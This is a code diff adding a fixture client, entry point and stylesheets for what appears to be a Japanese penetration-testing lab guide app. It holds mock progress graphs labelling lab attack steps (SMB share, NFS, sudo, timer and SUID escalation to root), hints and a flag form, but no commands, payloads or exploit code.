+        progress: "発見 1/3",
+        position: { x: 60, y: 400 },
+      },
+      {
+        id: "staff-area",
+        label: "スタッフ環境",
+        detail: "社内端末へのアクセス",
+        icon: "terminal",
+        state: "discovered",
+        progress: "発見 0/2",
+        position: { x: 360, y: 400 },
+      },
+      {
+        id: "admin",
+        label: "Linux管理者",
+        detail: "管理者権限の取得",
+        icon: "server",
+        state: "discovered",
+        progress: "発見 0/3",
+        position: { x: 690, y: 300 },
+      },
+      {
+        id: "unknown-file-a",
+        label: "未発見",
+        icon: "file",
+        state: "undiscovered",
+        position: { x: 20, y: 565 },
+      },
+      {
+        id: "unknown-file-b",
+        label: "未発見",
+        icon: "file",
+        state: "undiscovered",
+        position: { x: 215, y: 565 },
+      },
+      {
+        id: "unknown-staff-a",
+        label: "未発見",
+        icon: "file",
+        state: "undiscovered",
+        position: { x: 445, y: 565 },
+      },
+      {
+        id: "unknown-staff-b",
+        label: "未発見",
+        icon: "file",
+        state: "undiscovered",
+        position: { x: 635, y: 565 },
+      },
+    ],
+    edges: [
+      {
+        id: "edge-entry-inventory",
+        from: "external-entry",
+        to: "inventory-site",
+        state: "known",
+      },
+      {
+        id: "edge-inventory-unknown",
+        from: "inventory-site",
+        to: "unknown-web",
+        state: "known",
+      },
+      {
+        id: "edge-entry-booking",
+        from: "external-entry",
+        to: "service-booking",
+        state: "possible",
+      },
+      {
+        id: "edge-booking-unknown",
+        from: "service-booking",
+        to: "unknown-service",
+        state: "known",
+      },
+      {
+        id: "edge-unknown-admin",
+        from: "unknown-service",
+        to: "admin",
+        state: "possible",
+      },
+      {
+        id: "edge-file-staff",
+        from: "file-drop",
+        to: "staff-area",
+        state: "known",
+      },
+      {
+        id: "edge-staff-admin",
+        from: "staff-area",
+        to: "admin",
+        state: "possible",
+      },
+      {
+        id: "edge-file-a",
+        from: "file-drop",
+        to: "unknown-file-a",
+        state: "possible",
+      },
+      {
+        id: "edge-file-b",
+        from: "file-drop",
+        to: "unknown-file-b",
+        state: "possible",
+      },
+      {
+        id: "edge-staff-a",
+        from: "staff-area",
+        to: "unknown-staff-a",
+        state: "possible",
+      },
+      {
+        id: "edge-staff-b",
+        from: "staff-area",
+        to: "unknown-staff-b",
+        state: "possible",
+      },
+    ],
+  },
+  hints: [
+    {
+      id: "hint-observe",
+      step: 1,
+      title: "見る場所",
+      state: "unlocked",
+      body: "入力した文字と、画面に返る結果の関係を見ます。",
+    },
+    {
+      id: "hint-tool",
+      step: 2,
+      title: "使う道具",
+      state: "available",
+      body: "ブラウザの開発者ツールで、送信された項目を確認します。",
+      condition: "「見る場所」を確認すると開けます",
+    },
+    {
+      id: "hint-example",
+      step: 3,
+      title: "操作例",
+      state: "locked",
+      body: "無害な入力を一つずつ変え、返り方の差を記録します。",
+      condition: "「使う道具」を確認すると開けます",
+    },
+  ],
+  progress: {
+    discovered: 3,
+    total: 14,
+  },
+  recentEvents: [
+    {
+      id: "event-web",
+      at: "10:24",
+      message: "Webサイトが見えることを確認しました。",
+    },
+    {
+      id: "event-port",
+      at: "10:26",
+      message: "80番の入口が開いていることを確認しました。",
+    },
+    {
+      id: "event-staff",
+      at: "10:29",
+      message: "staff という場所を発見しました。",
+    },
+  ],
+  telemetry: {
+    status: "live",
+    message: "教材イベントを自動検出しています",
+  },
+  capabilities: {
+    manualFlagSubmission: true,
+  },
+};
+
+function createProjection(scenario: FixtureScenario): LabProjection {
+  const projection = copyProjection(liveProjection);
+
+  if (scenario === "loading") {
+    projection.telemetry = {
+      status: "loading",
+      message: "新しい状態を確認しています",
+    };
+  }
+
+  if (scenario === "reconnecting") {
+    projection.telemetry = {
+      status: "reconnecting",
+      message: "接続を戻しています。操作内容は失われません。",
+    };
+  }
+
+  if (scenario === "unavailable") {
+    projection.telemetry = {
+      status: "unavailable",
+      message: "自動検出を利用できません。flagを手動で提出できます。",
+    };
+  }
+
+  if (scenario === "empty" || scenario === "transition") {
+    projection.heading = "標的との接続を確かめる";
+    projection.lede =
+      "まずKaliと標的ノートが直結されていることを確認します。";
+    projection.objective = "有線接続と target.local を確認する";
+    projection.consultationQuestion =
+      "標的へ届くことを確かめるには、何から見ますか？";
+    projection.facts = [];
+    projection.investigations = [
+      {
+        id: "investigation-connect",
+        label: "接続を確認する",
+        summary: "有線接続と標的のアドレスから確かめます。",
+        icon: "network",
+      },
+    ];
+    projection.graph = {
+      nodes: [
+        {
+          id: "connection",
+          label: "接続確認",
+          detail: "ここから探索を始めます",
+          icon: "network",
+          state: "selected",
+          position: { x: 300, y: 220 },
+        },
+      ],
+      edges: [],
+    };
+    projection.progress = { discovered: 0, total: 14 };
+    projection.recentEvents = [];
+  }
+
+  if (scenario === "success") {
+    projection.status = "complete";
+    projection.heading = "管理者権限までの道がつながりました";
+    projection.lede =
+      "入口から権限の変化まで、見つけた事実を順に振り返りましょう。";
+    projection.objective = "取得した経路の因果を説明する";
+    projection.progress = { discovered: 14, total: 14 };
+    projection.hints = projection.hints.map((hint) => ({
+      ...hint,
+      state: "unlocked",
+      condition: undefined,
+    }));
+    projection.graph = {
+      nodes: [
+        ["map-01", "診断画面", "Webの診断入力", "browser"],
+        ["map-02", "引き継ぎ共有", "匿名SMB共有", "folder"],
+        ["map-03", "整備場のNFS", "書き込み可能な共有", "network"],
+        ["map-04", "www-data", "Webサービスの権限", "server"],
+        ["map-05", "sales", "販売担当のログイン", "user"],
+        ["map-06", "mechanic", "整備担当のログイン", "user"],
+        ["map-07", "sudo hook", "保守処理の手掛かり", "file"],
+        ["map-08", "root timer", "定期処理の手掛かり", "calendar"],
+        ["map-09", "SUID PATH", "PATH解決の手掛かり", "terminal"],
+        ["map-10", "sudo経路", "保守hookから昇格", "terminal"],
+        ["map-11", "timer経路", "定期処理から昇格", "calendar"],
+        ["map-12", "SUID経路", "PATH解決から昇格", "terminal"],
+        ["map-13", "Debian root", "管理者権限へ到達", "door"],
+        ["map-14", "Windows保管記録", "オフラインの追加flag", "folder"],
+      ].map(([id, label, detail, icon]) => ({
+        id,
+        label,
+        detail,
+        icon: icon as LabProjection["graph"]["nodes"][number]["icon"],
+        state:
+          id === "map-13"
+            ? ("selected" as const)
+            : ("discovered" as const),
+        progress: "発見済み",
+      })),
+      edges: [
+        ["map-01", "map-04"],
+        ["map-02", "map-05"],
+        ["map-03", "map-06"],
+        ["map-04", "map-07"],
+        ["map-04", "map-08"],
+        ["map-04", "map-09"],
+        ["map-05", "map-07"],
+        ["map-05", "map-08"],
+        ["map-05", "map-09"],
+        ["map-06", "map-07"],
+        ["map-06", "map-08"],
+        ["map-06", "map-09"],
+        ["map-07", "map-10"],
+        ["map-08", "map-11"],
+        ["map-09", "map-12"],
+        ["map-10", "map-13"],
+        ["map-11", "map-13"],
+        ["map-12", "map-13"],
+        ["map-13", "map-14"],
+      ].map(([from, to], index) => ({
+        id: `success-edge-${index + 1}`,
+        from,
+        to,
+        state: "known" as const,
+      })),
+    };
+  }
+
+  return projection;
+}
+
+function normalizeScenario(value: string): FixtureScenario {
+  return value === "empty" ||
+    value === "loading" ||
+    value === "reconnecting" ||
+    value === "success" ||
+    value === "transition" ||
+    value === "unavailable"
+    ? value
+    : "live";
+}
+
+class FixtureLabClient implements LabClient {
+  private projection: LabProjection;
+  private listeners = new Set<(projection: LabProjection) => void>();
+  private transitionTimer: ReturnType<typeof setTimeout> | undefined;
+
+  constructor(private readonly scenario: FixtureScenario) {
+    this.projection = createProjection(scenario);
+  }
+
+  async getState(): Promise<LabProjection> {
+    return copyProjection(this.projection);
+  }
+
+  subscribe(
+    onProjection: (projection: LabProjection) => void,
+    _onError: () => void,
+  ): () => void {
+    this.listeners.add(onProjection);
+
+    if (this.scenario === "transition" && !this.transitionTimer) {
+      this.transitionTimer = setTimeout(() => {
+        const nextProjection = createProjection("empty");
+        nextProjection.revision = this.projection.revision;
+        nextProjection.heading = "Webの入口を発見";
+        nextProjection.lede =
+          "Kali Bridgeが標的の変化を検出し、安全な事実だけを同期しました。";
+        nextProjection.objective = "見つかったWebサイトの構成を確かめる";
+        nextProjection.consultationQuestion =
+          "Webサイトが見えたことから、次は何を調べますか？";
+        nextProjection.facts = [copyProjection(liveProjection).facts[0]];
+        nextProjection.investigations = [
+          copyProjection(liveProjection).investigations[0],
+        ];
+        nextProjection.graph = {
+          nodes: copyProjection(liveProjection).graph.nodes.slice(0, 2),
+          edges: [copyProjection(liveProjection).graph.edges[0]],
+        };
+        nextProjection.progress = { discovered: 1, total: 14 };
+        nextProjection.recentEvents = [
+          {
+            id: "event-transition-web",
+            at: "いま",
+            message: "Webサイトへの到達を自動で確認しました。",
+          },
+        ];
+        this.projection = nextProjection;
+        this.transitionTimer = undefined;
+        this.publish();
+      }, 900);
+    }
+
+    return () => {
+      this.listeners.delete(onProjection);
+      if (this.listeners.size === 0 && this.transitionTimer) {
+        clearTimeout(this.transitionTimer);
+        this.transitionTimer = undefined;
+      }
+    };
+  }
+
+  private publish(): LabProjection {
+    this.projection.revision += 1;
+    const snapshot = copyProjection(this.projection);
+    this.listeners.forEach((listener) => listener(snapshot));
+    return snapshot;
+  }
+
+  async selectHypothesis(id: string): Promise<LabProjection> {
+    this.projection.hypotheses = this.projection.hypotheses.map(
+      (hypothesis) => ({
+        ...hypothesis,
+        selected: hypothesis.id === id,
+      }),
+    );
+    return this.publish();
+  }
+
+  async unlockHint(id: string): Promise<LabProjection> {
+    const orderedHints = [...this.projection.hints].sort(
+      (left, right) => left.step - right.step,
+    );
+    const targetIndex = orderedHints.findIndex((hint) => hint.id === id);
+    const prerequisiteMet =
+      targetIndex >= 0 &&
+      orderedHints
+        .slice(0, targetIndex)
+        .every((hint) => hint.state === "unlocked");
+
+    if (!prerequisiteMet) {
+      throw new Error("hint_prerequisite_not_met");
+    }
+
+    this.projection.hints = this.projection.hints.map((hint) =>
+      hint.id === id
+        ? { ...hint, state: "unlocked", condition: undefined }
+        : hint.id === orderedHints[targetIndex + 1]?.id &&
+            hint.state === "locked"
+          ? { ...hint, state: "available" }
+        : hint,
+    );
+    return this.publish();
+  }
+
+  async submitFlag(flag: string): Promise<FlagSubmissionResult> {
+    const accepted = flag.trim().length >= 6;
+    return {
+      accepted,
+      message: accepted
+        ? "提出を受け付けました。状態をもう一度確認します。"
+        : "入力内容を確認できませんでした。flag全体を入力してください。",
+    };
+  }
+}
+
+export function createFixtureClient(scenario = "live"): LabClient {
+  return new FixtureLabClient(normalizeScenario(scenario));
+}
diff --git a/apps/lab-guide/src/main.tsx b/apps/lab-guide/src/main.tsx
new file mode 100644
index 0000000..dbf9939
--- /dev/null
+++ b/apps/lab-guide/src/main.tsx
@@ -0,0 +1,14 @@
+import "@fontsource-variable/geist-mono/wght.css";
+import "@xyflow/react/dist/style.css";
+import React from "react";
+import { createRoot } from "react-dom/client";
+import { App } from "./App";
+import "./styles.css";
+import { applyTheme, readStoredTheme } from "./theme";
+
+applyTheme(readStoredTheme());
+createRoot(document.getElementById("root")!).render(
+  <React.StrictMode>
+    <App />
+  </React.StrictMode>,
+);
diff --git a/apps/lab-guide/src/styles.css b/apps/lab-guide/src/styles.css
new file mode 100644
index 0000000..363e46d
--- /dev/null
+++ b/apps/lab-guide/src/styles.css
@@ -0,0 +1,9 @@
+@import "./styles/base.css";
+@import "./styles/shared.css";
+@import "./styles/map.css";
+@import "./styles/consultation.css";
+@import "./styles/responsive.css";
+@import "./styles/themes.css";
+@import "./styles/disclosure-shell.css";
+@import "./styles/disclosure-themes.css";
+@import "./styles/disclosure-responsive.css";
diff --git a/apps/lab-guide/src/styles/base.css b/apps/lab-guide/src/styles/base.css
new file mode 100644
index 0000000..eb2237b
--- /dev/null
+++ b/apps/lab-guide/src/styles/base.css
@@ -0,0 +1,234 @@
+:root {
+  color: #1f1b16;
+  background: #f7f5f1;
+  font-family:
+    "Noto Sans JP Variable", "Noto Sans JP", "Yu Gothic", sans-serif;
+  font-synthesis: none;
+  text-rendering: optimizeLegibility;
+  --canvas: #f7f5f1;
+  --surface: #fffdfa;
+  --muted-surface: #f0ece5;
+  --text: #1f1b16;
+  --muted-text: #70665a;
+  --border: #ded6c9;
+  --primary: #8a4f1d;
+  --primary-hover: #6f3e16;
+  --success: #15803d;
+  --warning: #b45309;
+  --danger: #b91c1c;
+  --heading:
+    "Noto Serif JP Variable", "Noto Serif JP", "Yu Mincho", serif;
+  --body:
+    "Noto Sans JP Variable", "Noto Sans JP", "Yu Gothic", sans-serif;
+  --mono: "Geist Mono Variable", "Geist Mono", monospace;
+  --header-height: 68px;
+}
+
+* {
+  box-sizing: border-box;
+}
+
+html {
+  background: var(--canvas);
+}
+
+body {
+  margin: 0;
+  min-width: 320px;
+  min-height: 100vh;
+  color: var(--text);
+  background: var(--canvas);
+  font-family: var(--body);
+  -webkit-font-smoothing: antialiased;
+}
+
+button,
+input {
+  font: inherit;
+}
+
+button {
+  color: inherit;
+}
+
+button:not(:disabled) {
+  cursor: pointer;
+}
+
+button:disabled {
+  cursor: not-allowed;
+  opacity: 0.58;
+}
+
+:focus-visible {
+  outline: 3px solid color-mix(in srgb, var(--primary) 45%, white);
+  outline-offset: 3px;
+}
+
+h1,
+h2,
+h3,
+p {
+  margin-top: 0;
+}
+
+.sr-only {
+  position: absolute;
+  width: 1px;
+  height: 1px;
+  padding: 0;
+  margin: -1px;
+  overflow: hidden;
+  clip: rect(0, 0, 0, 0);
+  white-space: nowrap;
+  border: 0;
+}
+
+.app-root {
+  min-height: 100dvh;
+  background: var(--canvas);
+}
+
+.app-header {
+  position: relative;
+  z-index: 20;
+  display: grid;
+  grid-template-columns: clamp(260px, 20.1vw, 336px) minmax(0, 1fr) clamp(300px, 22.9vw, 384px);
+  align-items: stretch;
+  height: var(--header-height);
+  background: var(--surface);
+  border-bottom: 1px solid var(--border);
+}
+
+.brand-lockup {
+  display: flex;
+  align-items: center;
+  gap: 14px;
+  min-width: 0;
+  padding: 0 24px;
+  white-space: nowrap;
+}
+
+.brand-lockup > svg {
+  width: 34px;
+  height: 34px;
+  color: var(--text);
+}
+
+.brand-name {
+  font-size: 25px;
+  font-weight: 680;
+  letter-spacing: -0.025em;
+}
+
+.brand-divider {
+  width: 1px;
+  height: 28px;
+  background: var(--border);
+}
+
+.brand-lab {
+  font-family: var(--heading);
+  font-size: 18px;
+  font-weight: 650;
+}
+
+.primary-nav {
+  display: flex;
+  align-items: stretch;
+  justify-content: center;
+  gap: 44px;
+}
+
+.nav-tab {
+  position: relative;
+  display: inline-flex;
+  align-items: center;
+  justify-content: center;
+  gap: 11px;
+  min-width: 150px;
+  min-height: 44px;
+  padding: 0 12px;
+  color: var(--text);
+  background: transparent;
+  border: 0;
+  font-family: var(--heading);
+  font-size: 20px;
+  font-weight: 650;
+}
+
+.nav-tab::after {
+  position: absolute;
+  right: 0;
+  bottom: -1px;
+  left: 0;
+  height: 3px;
+  content: "";
+  background: transparent;
+}
+
+.nav-tab svg {
+  width: 27px;
+  height: 27px;
+  stroke-width: 1.7;
+}
+
+.nav-tab:hover {
+  color: var(--primary-hover);
+}
+
+.nav-tab[aria-current="page"] {
+  color: var(--primary);
+}
+
+.nav-tab[aria-current="page"]::after {
+  background: var(--primary);
+}
+
+.end-session-button {
+  align-self: center;
+  justify-self: end;
+  display: inline-flex;
+  align-items: center;
+  justify-content: center;
+  gap: 10px;
+  min-height: 44px;
+  margin-right: 24px;
+  padding: 0 18px;
+  background: var(--surface);
+  border: 1px solid var(--border);
+  border-radius: 6px;
+  font-size: 16px;
+  font-weight: 600;
+}
+
+.end-session-button:hover:not(:disabled) {
+  border-color: var(--primary);
+  color: var(--primary-hover);
+}
+
+.end-session-button svg {
+  width: 22px;
+  height: 22px;
+}
+
+.spin {
+  animation: spin 1s linear infinite;
+}
+
+@keyframes spin {
+  to {
+    transform: rotate(360deg);
+  }
+}
+
+@media (prefers-reduced-motion: reduce) {
+  *,
+  *::before,
+  *::after {
+    scroll-behavior: auto !important;
+    animation-duration: 0.001ms !important;
+    animation-iteration-count: 1 !important;
+    transition-duration: 0.001ms !important;
+  }
+}
diff --git a/apps/lab-guide/src/styles/consultation.css b/apps/lab-guide/src/styles/consultation.css
new file mode 100644
index 0000000..ad48629
--- /dev/null
+++ b/apps/lab-guide/src/styles/consultation.css
@@ -0,0 +1,293 @@
+.consultation-screen {
+  display: grid;
+  grid-template-columns: clamp(290px, 22.25vw, 372px) minmax(0, 1fr) clamp(310px, 24.3vw, 406px);
+  grid-template-rows: minmax(0, 1fr) 116px;
+  height: calc(100dvh - var(--header-height));
+}
+
+.consultation-stage {
+  min-width: 0;
+  min-height: 0;
+  padding: 38px 36px 28px;
+  overflow-y: auto;
+  background: var(--canvas);
+}
+
+.consultation-intro {
+  padding: 0 14px 26px;
+  border-bottom: 1px solid var(--border);
+}
+
+.consultation-intro > svg {
+  display: none;
+}
+
+.consultation-intro h1 {
+  margin-bottom: 10px;
+  font-family: var(--heading);
+  font-size: clamp(31px, 2.45vw, 41px);
+  font-weight: 520;
+  letter-spacing: 0.015em;
+}
+
+.consultation-intro p {
+  margin-bottom: 0;
+  color: var(--muted-text);
+  font-size: 16px;
+  line-height: 1.7;
+}
+
+.hypothesis-fieldset {
+  min-width: 0;
+  padding: 28px 0 0;
+  margin: 0;
+  border: 0;
+}
+
+.hypothesis-fieldset legend {
+  width: 100%;
+  padding: 0 14px 18px;
+  font-size: 19px;
+  font-weight: 650;
+  line-height: 1.6;
+}
+
+.hypothesis-options {
+  display: grid;
+}
+
+.hypothesis-option {
+  display: grid;
+  grid-template-columns: 42px minmax(0, 1fr) 28px;
+  gap: 14px;
+  align-items: center;
+  width: 100%;
+  min-height: 76px;
+  padding: 12px 20px;
+  text-align: left;
+  background: transparent;
+  border: 1px solid transparent;
+  border-bottom-color: var(--border);
+  border-radius: 0;
+  font-size: 17px;
+  font-weight: 590;
+}
+
+.hypothesis-option:hover:not(:disabled) {
+  background: color-mix(in srgb, var(--primary) 3%, var(--surface));
+}
+
+.hypothesis-option.is-selected {
+  color: var(--text);
+  background: var(--surface);
+  border: 2px solid var(--primary);
+  border-radius: 5px;
+}
+
+.hypothesis-option > svg:first-child {
+  width: 36px;
+  height: 36px;
+  color: var(--primary);
+  stroke-width: 1.5;
+}
+
+.hypothesis-option > svg:last-child {
+  justify-self: end;
+  width: 24px;
+  height: 24px;
+  color: var(--primary-hover);
+}
+
+.hypothesis-explanation {
+  display: grid;
+  grid-template-columns: 62px minmax(0, 1fr);
+  gap: 20px;
+  align-items: center;
+  min-height: 112px;
+  padding: 18px 24px;
+  margin-top: 16px;
+  background: var(--surface);
+  border: 1px solid var(--border);
+  border-radius: 5px;
+}
+
+.hypothesis-explanation > svg {
+  width: 52px;
+  height: 52px;
+  padding: 12px;
+  color: white;
+  background: var(--primary);
+  border-radius: 50%;
+}
+
+.hypothesis-explanation h2 {
+  margin-bottom: 7px;
+  font-size: 18px;
+}
+
+.hypothesis-explanation p {
+  margin: 0;
+  color: var(--muted-text);
+  font-size: 14px;
+  line-height: 1.65;
+}
+
+.consultation-actions {
+  display: flex;
+  gap: 22px;
+  margin-top: 20px;
+}
+
+.consultation-actions .primary-action {
+  min-width: 335px;
+}
+
+.consultation-actions .secondary-action {
+  min-width: 255px;
+}
+
+.consultation-empty {
+  display: grid;
+  padding: 48px 24px;
+  margin-top: 26px;
+  text-align: center;
+  background: var(--surface);
+  border: 1px solid var(--border);
+  border-radius: 6px;
+  place-items: center;
+}
+
+.consultation-empty > svg {
+  width: 38px;
+  height: 38px;
+  margin-bottom: 14px;
+  color: var(--primary);
+}
+
+.consultation-empty h2 {
+  margin-bottom: 8px;
+  font-family: var(--heading);
+}
+
+.consultation-empty p {
+  margin-bottom: 22px;
+  color: var(--muted-text);
+}
+
+.hint-rail {
+  min-width: 0;
+  padding: 34px 28px 24px;
+  overflow-y: auto;
+  background: var(--surface);
+  border-left: 1px solid var(--border);
+}
+
+.hint-rail > h2 {
+  padding-bottom: 14px;
+  margin-bottom: 20px;
+  font-family: var(--heading);
+  font-size: 19px;
+  border-bottom: 1px solid var(--border);
+}
+
+.hint-rail > h2::after {
+  display: block;
+  width: 44px;
+  height: 1px;
+  margin-top: 14px;
+  content: "";
+  background: var(--primary);
+  transform: translateY(15px);
+}
+
+.hint-list {
+  display: grid;
+  gap: 16px;
+}
+
+.hint-step {
+  overflow: hidden;
+  background: var(--surface);
+  border: 1px solid var(--border);
+  border-radius: 5px;
+}
+
+.hint-step--locked {
+  background: color-mix(in srgb, var(--muted-surface) 42%, var(--surface));
+}
+
+.hint-step > button {
+  display: grid;
+  grid-template-columns: 40px minmax(0, 1fr) 24px;
+  gap: 12px;
+  align-items: center;
+  width: 100%;
+  min-height: 68px;
+  padding: 12px 16px;
+  text-align: left;
+  background: transparent;
+  border: 0;
+}
+
+.hint-step > button > svg:first-child {
+  width: 36px;
+  height: 36px;
+  color: var(--primary);
+  stroke-width: 1.45;
+}
+
+.hint-step--locked > button > svg:first-child {
+  color: var(--muted-text);
+}
+
+.hint-step > button > svg:last-child {
+  justify-self: end;
+  width: 21px;
+  height: 21px;
+}
+
+.hint-step strong,
+.hint-step small {
+  display: block;
+}
+
+.hint-step strong {
+  font-size: 16px;
+}
+
+.hint-step small {
+  margin-top: 3px;
+  color: var(--muted-text);
+  font-size: 10px;
+  line-height: 1.4;
+}
+
+.hint-content {
+  padding: 18px 22px 20px;
+  border-top: 1px solid var(--border);
+}
+
+.hint-content p {
+  margin: 0;
+  font-size: 14px;
+  line-height: 1.8;
+}
+
+.hint-order-note {
+  display: flex;
+  gap: 8px;
+  align-items: center;
+  margin: 20px 2px 0;
+  color: var(--muted-text);
+  font-size: 12px;
+}
+
+.hint-order-note svg {
+  flex: 0 0 auto;
+  width: 19px;
+  height: 19px;
+}
+
+.consultation-screen .event-strip {
+  grid-column: 1 / -1;
+}
diff --git a/apps/lab-guide/src/styles/disclosure-responsive.css b/apps/lab-guide/src/styles/disclosure-responsive.css
new file mode 100644
index 0000000..4850b56
--- /dev/null
+++ b/apps/lab-guide/src/styles/disclosure-responsive.css
@@ -0,0 +1,273 @@
+/* Disclosure layout refinements ----------------------------------------- */
+
+@media (min-width: 901px) and (max-height: 780px) {
+  .map-screen,
+  .consultation-screen {
+    display: block;
+    grid-template: none;
+  }
+
+  .map-stage {
+    padding-top: 16px;
+  }
+
+  .stage-intro h1 {
+    margin-bottom: 4px;
+    font-size: clamp(23px, 1.8vw, 28px);
+  }
+
+  .stage-intro p {
+    font-size: 13px;
+  }
+
+  .stage-context {
+    min-height: 48px;
+    margin-top: 10px;
+  }
+
+  .disclosure-pulls {
+    min-height: 49px;
+    margin-top: 4px;
+  }
+
+  .map-toolbar {
+    min-height: 42px;
+  }
+
+  .map-canvas {
+    min-height: 240px;
+  }
+}
+
+@media (max-width: 900px) {
+  .app-header {
+    grid-template-columns: minmax(0, 1fr) auto;
+    grid-template-rows: 56px 52px;
+  }
+
+  .header-actions {
+    grid-column: 2;
+    grid-row: 1;
+    gap: 5px;
+    padding: 0 8px 0 0;
+  }
+
+  .theme-menu > summary {
+    min-height: 42px;
+    padding-inline: 9px;
+  }
+
+  .theme-menu-options {
+    top: calc(100% + 6px);
+    width: 218px;
+  }
+
+  .map-screen,
+  .consultation-screen {
+    display: block;
+    height: auto;
+    min-height: calc(100dvh - var(--header-height));
+    overflow: visible;
+  }
+
+  .map-stage,
+  .consultation-stage {
+    order: initial;
+    width: 100%;
+    height: auto;
+    min-height: calc(100dvh - var(--header-height));
+    padding: 20px 18px 26px;
+    overflow: visible;
+  }
+
+  .consultation-intro {
+    padding-inline: 0;
+    padding-bottom: 18px;
+  }
+
+  .stage-context {
+    margin-top: 12px;
+  }
+
+  .map-toolbar {
+    display: flex;
+    align-items: center;
+    justify-content: space-between;
+    margin-top: 8px;
+  }
+
+  .map-toolbar h2 {
+    margin: 0;
+  }
+
+  .disclosure-pulls {
+    margin-inline: -18px;
+    padding-inline: 18px;
+    scroll-padding-inline: 18px;
+  }
+
+  .disclosure-layer {
+    align-items: flex-end;
+  }
+
+  .disclosure-drawer {
+    grid-template-rows: 62px minmax(0, 1fr);
+    width: 100%;
+    height: auto;
+    max-height: 86dvh;
+    border-top: 1px solid var(--border);
+    border-left: 0;
+    border-radius: 10px 10px 0 0;
+    box-shadow: 0 -18px 60px rgb(0 0 0 / 24%);
+    animation-name: disclosure-sheet-enter;
+  }
+
+  .disclosure-drawer-grip svg {
+    transform: rotate(90deg);
+  }
+
+  .disclosure-drawer-body {
+    padding: 20px 18px max(22px, env(safe-area-inset-bottom));
+  }
+
+  .disclosure-drawer .known-facts,
+  .disclosure-drawer .investigation-rail,
+  .disclosure-drawer .hint-rail,
+  .disclosure-drawer .event-strip {
+    padding: 0;
+    overflow: visible;
+    border: 0;
+  }
+
+  .disclosure-drawer .known-facts--detailed .fact-list,
+  .disclosure-drawer .investigation-list,
+  .disclosure-drawer .hint-list {
+    grid-template-columns: 1fr;
+  }
+
+  :root[data-theme="play"] .disclosure-drawer {
+    border-top: 4px solid #11110e;
+    border-left: 0;
+    border-radius: 0;
+  }
+
+  :root[data-theme="ops"] .disclosure-drawer {
+    border-top: 1px solid var(--primary);
+    border-left: 0;
+    border-radius: 2px 2px 0 0;
+  }
+
+  :root[data-theme="focus"] .disclosure-drawer {
+    border-top: 2px solid var(--text);
+    border-left: 0;
+    border-radius: 0;
+  }
+}
+
+@media (max-width: 620px) {
+  .brand-lockup {
+    padding-inline: 10px;
+  }
+
+  .brand-name {
+    font-size: 18px;
+  }
+
+  .theme-menu > summary {
+    grid-template-columns: 18px auto;
+    gap: 5px;
+    padding-inline: 8px;
+  }
+
+  .theme-menu > summary span {
+    display: none;
+  }
+
+  .theme-menu > summary strong {
+    font-size: 9px;
+  }
+
+  .stage-intro h1,
+  .consultation-intro h1 {
+    font-size: 24px;
+    line-height: 1.35;
+  }
+
+  .stage-intro p,
+  .consultation-intro p {
+    font-size: 13px;
+  }
+
+  .stage-context {
+    grid-template-columns: 25px minmax(0, 1fr) auto;
+    gap: 9px;
+    padding: 9px 10px;
+  }
+
+  .stage-context strong {
+    font-size: 12px;
+  }
+
+  .stage-context > span {
+    min-width: 48px;
+    padding-inline: 5px;
+    font-size: 10px;
+  }
+
+  .disclosure-pull {
+    width: 100%;
+    min-height: 44px;
+    padding-inline: 10px;
+    grid-template-columns: 18px minmax(0, 1fr) auto;
+    text-align: left;
+  }
+
+  .disclosure-pulls {
+    display: grid;
+    grid-template-columns: repeat(2, minmax(0, 1fr));
+    min-height: 0;
+    padding-inline: 0;
+    margin-inline: 0;
+    overflow: visible;
+  }
+
+  .map-toolbar h2 {
+    font-size: 17px;
+  }
+
+  .map-legend-details > summary {
+    padding-inline: 9px;
+  }
+
+  .disclosure-drawer .session-pairing {
+    grid-template-columns: 40px minmax(0, 1fr);
+    gap: 10px;
+    padding: 12px;
+  }
+
+  .disclosure-drawer .session-pairing-controls {
+    grid-template-columns: 1fr;
+  }
+
+  .disclosure-drawer .session-pairing .primary-action {
+    width: 100%;
+  }
+
+  .disclosure-drawer .known-facts--detailed .fact-item {
+    grid-template-columns: 18px 44px minmax(0, 1fr);
+  }
+}
+
+@keyframes disclosure-sheet-enter {
+  from {
+    opacity: 0.8;
+    transform: translateY(30px);
+  }
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .disclosure-layer,
+  .disclosure-drawer {
+    animation: none;
+  }
+}
diff --git a/apps/lab-guide/src/styles/disclosure-shell.css b/apps/lab-guide/src/styles/disclosure-shell.css
new file mode 100644
index 0000000..7852e53
--- /dev/null
+++ b/apps/lab-guide/src/styles/disclosure-shell.css
@@ -0,0 +1,490 @@
+/* Progressive disclosure: shared shell ---------------------------------- */
+
+.app-header {
+  grid-template-columns: clamp(220px, 19vw, 310px) minmax(300px, 1fr) auto;
+}
+
+.header-actions {
+  gap: 8px;
+  padding-inline: 10px 16px;
+}
+
+.theme-menu {
+  position: relative;
+  flex: 0 0 auto;
+}
+
+.theme-menu > summary {
+  display: grid;
+  grid-template-columns: 20px auto auto;
+  gap: 7px;
+  align-items: center;
+  min-height: 44px;
+  padding: 0 11px;
+  color: var(--text);
+  background: var(--surface);
+  border: 1px solid var(--border);
+  border-radius: 3px;
+  font-size: 11px;
+  list-style: none;
+  cursor: pointer;
+  user-select: none;
+}
+
+.theme-menu > summary::-webkit-details-marker,
+.map-legend-details > summary::-webkit-details-marker {
+  display: none;
+}
+
+.theme-menu > summary svg {
+  width: 19px;
+  height: 19px;
+}
+
+.theme-menu > summary span {
+  color: var(--muted-text);
+}
+
+.theme-menu > summary strong {
+  font-family: var(--mono);
+  font-size: 11px;
+  letter-spacing: 0.06em;
+}
+
+.theme-menu[open] > summary {
+  border-color: var(--primary);
+}
+
+.theme-menu-options {
+  position: absolute;
+  z-index: 80;
+  top: calc(100% + 8px);
+  right: 0;
+  display: grid;
+  width: 230px;
+  padding: 6px;
+  background: var(--surface);
+  border: 1px solid var(--border);
+  border-radius: 4px;
+  box-shadow: 0 18px 50px var(--ink-shadow);
+}
+
+.theme-menu-options button {
+  display: grid;
+  grid-template-columns: 62px minmax(0, 1fr);
+  align-items: center;
+  min-height: 48px;
+  padding: 0 11px;
+  color: var(--muted-text);
+  text-align: left;
+  background: transparent;
+  border: 1px solid transparent;
+  border-radius: 2px;
+}
+
+.theme-menu-options button:hover,
+.theme-menu-options button[aria-pressed="true"] {
+  color: var(--text);
+  background: var(--muted-surface);
+}
+
+.theme-menu-options button[aria-pressed="true"] {
+  border-color: var(--primary);
+}
+
+.theme-menu-options button span {
+  font-family: var(--mono);
+  font-size: 11px;
+  font-weight: 760;
+  letter-spacing: 0.06em;
+}
+
+.theme-menu-options button small {
+  font-size: 11px;
+}
+
+.map-screen,
+.consultation-screen {
+  display: block;
